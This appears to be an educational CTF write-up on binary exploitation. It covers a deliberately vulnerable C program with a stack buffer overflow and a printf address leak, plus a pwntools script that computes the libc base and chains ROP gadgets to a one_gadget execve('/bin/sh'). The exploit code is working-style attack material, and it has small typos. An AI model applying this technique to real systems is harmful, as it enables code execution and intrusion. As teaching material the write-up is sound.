Simple PWN - 0x08(one_gadget with ROP)

Simple PWN - 0x08(one_gadget with ROP)

tags: CTF PWN eductf

one_gadget background

Day25: [Misc] 我從來沒想過我會害怕寫 code

原理是在 glibc 裡面有很多會透過 execve 執行 /bin/sh、再調用外部系統指令的 assembly,當 explolit 已經得知 libc 的位之後而且可以控制 RIP 之後,就可以直接跳該位置達成 shell out,不需要再辛苦堆 stack 上的參數

Original Code

#include <stdio.h>
#include <unistd.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IOBNF, 0);

    char s[0x10];

    printf("Your libc: %p", printf);
    read(0, s, 0x100);

    return 0;
}
  • The program has buffer overflow, however it has no backdoor method can access and has no global variable can write shellcode. Thus, we can consider to use ROP to get shell.
  • Note that, it must be a dynamic library, so DO NOT use -static to compile it.
      gcc -o one_gadget_with_rop one_gadget_with_rop.c -no-pie -fno-stack-protector -z norelro -zexecstack
    

Exploit

  • First, we use `ldd` command to find what library the program will use.
  • In addition, we use one_gadget command to find execvs
    • Note that, how to use it can refer to one_gadget用法
    • We use 0xebcf8 execve("/bin/sh", rsi, rdx) as our method
      • Note:

        it has 3 constraint so that we can get the shell

          address rbp-0x78 is writable
          [rsi] == NULL || rsi == NULL
          [rdx] == NULL || rdx == NULL
        
  • Then, we use one_gadget command to get ROP chain
      ROPgadget --binary one_gadget_with_rop --only "pop|ret" > one_gadget
      vim one_gadget
    

    You can see that because we didn’t compile with library, the gadget that we may can use is very few. The solution is using the gadget that libc have:

      $ ROPgadget --binary  /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" > one_gadget
      $ vim one_gadget
    

    We must satisfied one_gadget constraint. 0x90529 and 0x2be51 are the offset of /lib/x86_64-linux-gnu/libc.so.6. Therefore, if we want to call these gadget, we must find out the real base address of `/lib/x86_64-linux-gnu/libc.so.6`.

  • Because, ASLR is turn on in default, so the address of library will be random, we just know the offset of library. In original code, it told us the printf address in /lib/x86_64-linux-gnu/libc.so.6`0x7ffff7def770` Used gdb can find the current address of library → `0x7ffff7d8f000` Then we can know the offset and construct apart of payload as below \(0x7ffff7def770 - 0x7ffff7d8f000 = 0x60770\)
      from pwn import *
      import sys
    
      context.arch = 'amd64'
    
      r = process('./one_gadget_with_rop')
    
      r.recvuntil("Your libc: ")
      libc = int(r.recv(14), 16) - 0x60770
      info(f"libc: {hex(libc)}")
    
  • And prepare our gadget:
      pop_rdx_rbx_ret = libc + 0x90529
      pop_rsi_ret = libc + 0x2be51
    
  • Construct whole payload with considering the constraint:
      r.send(b'a'*0x10 + p64(0x404000) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) + p64(libc+0xebcf8))
      r.interactivae()
    
    • b'a'*0x10 is for $rsi
    • p64(0x404000) is an arbitrary writable and readable address for $rbp-0x78 one of the constraint of one_gadget
    • p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) is what we did in last lecture of ROP
    • p64(libc+0xebcf8) is the one_gadget that we choose at the beginning.
  • Finally, we got shell!!!

Reference

Linux ldd 查看執行檔執行時需要哪些 library Pwn week1